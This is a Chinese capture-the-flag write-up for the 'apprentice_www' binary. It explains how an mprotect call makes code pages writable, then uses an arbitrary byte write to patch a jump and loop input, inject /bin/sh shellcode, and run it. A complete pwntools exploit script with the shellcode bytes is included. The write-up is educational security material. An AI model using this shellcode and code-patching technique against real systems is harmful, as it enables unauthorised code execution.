shellcode-apprentice_www

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3   setbuf(stdin, 0);
4   setbuf(stdout, 0);
5   alarm(0x1Eu);
6   setup((int)main);
7   return butterflySwag();
8 }

打开IDA,发现调用了两个函数。

1 int __cdecl setup(int a1)
2 {
3   int result; // eax
4   signed int i; // [esp+18h] [ebp-10h]
5 
6   for ( i = 0; i <= 2; ++i )
7     result = mprotect((void *)((i << 12) + (a1 & 0x8048000)), 0x1000u, 7);
8   return result;
9 }

 首先是setup函数,通过for循环调用了mprotect两次。mprotect是用来修改内存权限的,第一个参数是指定的起始地址,第二个参数是要修改内存的大小,第三个参数是代号,这里是7那么就是可读可写可执行了。

i<<12,的意思就是i*2^12,这样的话三次循环的值分别是0,0x1000,0x2000.

a1&0x8048000,因为main的地址(变量a1)为0x0804863E,所以三次循环的值始终都是0x8048000.

这样的话,就是把0x8048000到0x804B000的内存空间设置成了可读可写可执行了。

shellcode-apprentice_www

 

 

 可以通过pwntools动态调试看一下,上面是未执行setup前的内存。

shellcode-apprentice_www

 

 

 这是执行完setup后的内存,可以得以验证。

 1 int butterflySwag()
 2 {
 3   _BYTE *v1; // [esp+18h] [ebp-10h]
 4   unsigned int v2; // [esp+1Ch] [ebp-Ch]
 5 
 6   __isoc99_scanf((const char *)&unk_8048730, &v1);
 7   __isoc99_scanf((const char *)&unk_8048733, &v2);
 8   v2 = (unsigned __int8)v2;
 9   *v1 = v2;
10   if ( v2 )
11   {
12     if ( v2 == 1 )
13     {
14       puts("All truly great thoughts are conceived by walking.");
15     }
16     else if ( v2 > 4 )
17     {
18       if ( v2 > 9 )
19         puts("When you look into an abyss, the abyss also looks into you.");
20       else
21         puts("He who has a why to live can bear almost any how.");
22     }
23     else
24     {
25       puts("Without music, life would be a mistake.");
26     }
27   }
28   else
29   {
30     puts("That which does not kill us makes us stronger.");
31   }
32   return 0;
33 }

然后来看butterflySwag函数。首先一开始是创建了两个变量,一个是byte类型的指针,一个是int整数。

第6-7行接收两个变量的输入。

第8行:unsigned __int8是8bit的int,本来这个v2是32bit的,这里的意思就是把低8bit的值在重新赋值给v2,即v2只取8bit的值。

第9行:把经过转换取得的v2低8bit的值,放在v1的地址处。

 

 

 

 shellcode-apprentice_www

 

shellcode-apprentice_www

 

 在这里分别输入了1和2,发现程序就出错停止了。原因就是如果把0x1作为地址去访问的话,就会是一个非法地址,程序就会出错误。

shellcode-apprentice_www

然后再试着输入0x8048000(十进制134512640),和2,发现就成功的写入了,而且程序也正常的执行下去了,因为这个地址范围在之前的setup函数中,被设置成了可读可写可执行。

通过以上分析,就有思路了,可以通过这两个scanf,去把shellcode写入到setup后的rwx(读写执行)区域,然后再跳转到这个地址上,就能拿到shell了。

因为下面有许多跳转指令,只需要改一下跳转指令的操作数,跳转到两个scanf之前,循环执行然后写入shellcode就可以了。

shellcode-apprentice_www

这里改的是scanf之后的第一个跳转指令,如上图。

这里有一个基础知识就是,跳转指令的地址是原本要执行的紧接着的下一条指令的地址 + 操作数。

shellcode-apprentice_www

 

 在IDA中可以看到,这条跳转指令的原本要执行的紧接着的下一条指令的地址是0x80485DB.

shellcode-apprentice_www

 

 需要更改到的跳转地址是0x804859D . 所以这个跳转指令的操作数应为 0x804859D - 0x80485DB = -62  .这个-62用补码表示为0xc2. 所以我们首先就要修改这条跳转指令的操作数为C2 。

剩下的就可以直接写出脚本了。

 1 #coding:utf-8
 2 from pwn import *
 3 shellcode=b\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
 4 io=process(./apprentice_www)
 5 jnz_flag=0x80485DA  #jnz指令的操作数地址
 6 pos_next=0x80485DB  #原本jnz后紧接着的指令地址,这里直接作为存放shellcode的首地址
 7 
 8 io.sendline(str(jnz_flag))
 9 io.sendline(str(0xc2))       #这两行首先修改掉操作数,制造重复调用scanf的loop
10 
11 for i in range(0,len(shellcode)):
12     io.sendline(str(pos_next+i))
13     io.sendline(str(shellcode[i]))  #向pos_next写入shellcode
14 io.sendline(str(jnz_flag))  
15 io.sendline(str(0))             #修改为跳转到pos_next的位置
16 io.interactive()

shellcode-apprentice_www

shellcode-apprentice_www

上一篇:02_iOS 沙盒及各个目录详解


下一篇:why elmlang:最简最安全的full ola stack的终身webappdev语言选型